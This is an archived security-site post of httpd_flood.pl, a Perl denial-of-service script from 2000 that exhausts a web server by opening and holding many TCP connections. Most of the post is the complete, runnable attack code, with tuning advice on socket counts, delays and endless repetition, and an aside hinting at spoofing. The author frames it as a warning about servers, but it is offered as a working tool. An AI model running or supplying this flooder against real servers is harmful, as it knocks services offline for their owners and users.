global security disclosure

httpd_flood.pl

httpd_flood.pl
Posted Mar 8, 2000
Authored by vade79, realhalo

Most webservers can be DoS'd by creating a large number of tcp connections from the same host. Simple, lame, and not spoofed, but effective nonetheless.

tags | denial of service, spoof, tcp
MD5 | c317a1a85163cd490d37fdc411ac25cd

httpd_flood.pl

Change Mirror Download
The following perl code is a simple way to DoS(Denial of Service) attack a
server running httpd. It is mainly just an idea I wanted to point out about
most httpd servers, they should check for large amounts of connections from
the same host/ip.

-- httpd_flood.pl begin --

#!/usr/bin/perl

# Simple httpd/misc. DoS idea. -> Vade79[v9@nonexistant].
#
# This is a pretty simple concept on a way to flood(DoS) httpd and other
# servcies by holding a large amount of connections to a socket/service, making
# the server become busy to normal users.
#
# Every server will probably be a little different. You will probably have to
# play with each server to see what the delay is before the server closes idle
# connections and what the maximum number of connections the server can hold.
# A good way to test this is to notice if you are getting consistant
# connections, if you are, that means you need more sockets connecting. You
# should start seeing connection failures close to the maximum of the sockets
# you set, that means the servers httpd has become busy. Example:
#
# Bad and wasteful:
# # ./file.pl www.site.com 80 180 150 1
# ./file.pl: www.site.com(80): connected 150 of 150 socket(s) successfully, waiting 180s.
#
# Good and effective(well, it's actually wasteful too):
# # ./file.pl www.site.com 80 180 300 1 ...
# ./file.pl: www.site.com(80): connected 253 of 300 socket(s) successfully, waiting 180s.
#
# This is just a thought that came occured to me. It wouldn't be wise to go
# around flooding servers, mainly because it wouldn't be spoofed(*wink*) and
# it's retarded, but they vulnerable none the less.
#
# Note: some sites are wise to large number of connections from the same host.

use Socket;
sub sout{print "$0: @_\n";}
sub sconnect{
my ($s,$p)=split(/ /,shift);
if ($p<1){$p=80;}
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($s);
$pa=sockaddr_in($p,$ia);
$proto=getprotobyname('tcp');
$j=0;$l=0;
&sout("$s($p): attempting to connected $i socket(s).");
while ($l<$i){
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
&sout("$s($p): connected $j of $l socket(s) successfully, waiting $k\s.");
sleep($k);&sout("$s($p): done waiting, killing socket(s).");
$l=0;
while ($l<$i){
$t="SOCK$l";
shutdown($t,2)||&sout("$s($p): error shutting down socket. [$l]");
$l++;
}
&sout("completed round($n), eof.");
}
$k=$ARGV[2];if (!$k){$k=1;}
$i=$ARGV[3];if (!$i){$i=1;}
$m=$ARGV[4];if (!$m){$m=1;}
$n=0;
if (!$ARGV[1]){
print "syntax: $0 <server port> [delay, -1=forever] [number] [repetitions, -1=forever]\n";
exit(0);
}
&sout("flood info: number of socket(s) : $i.");
&sout("flood info: delay between repetition(s): $k.");
&sout("flood info: repetition(s) : $m.");
while ($n<$m||$m==-1){
&sconnect("@ARGV");
$n++;
}
exit(0);

-- httpd_flood.pl end --

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close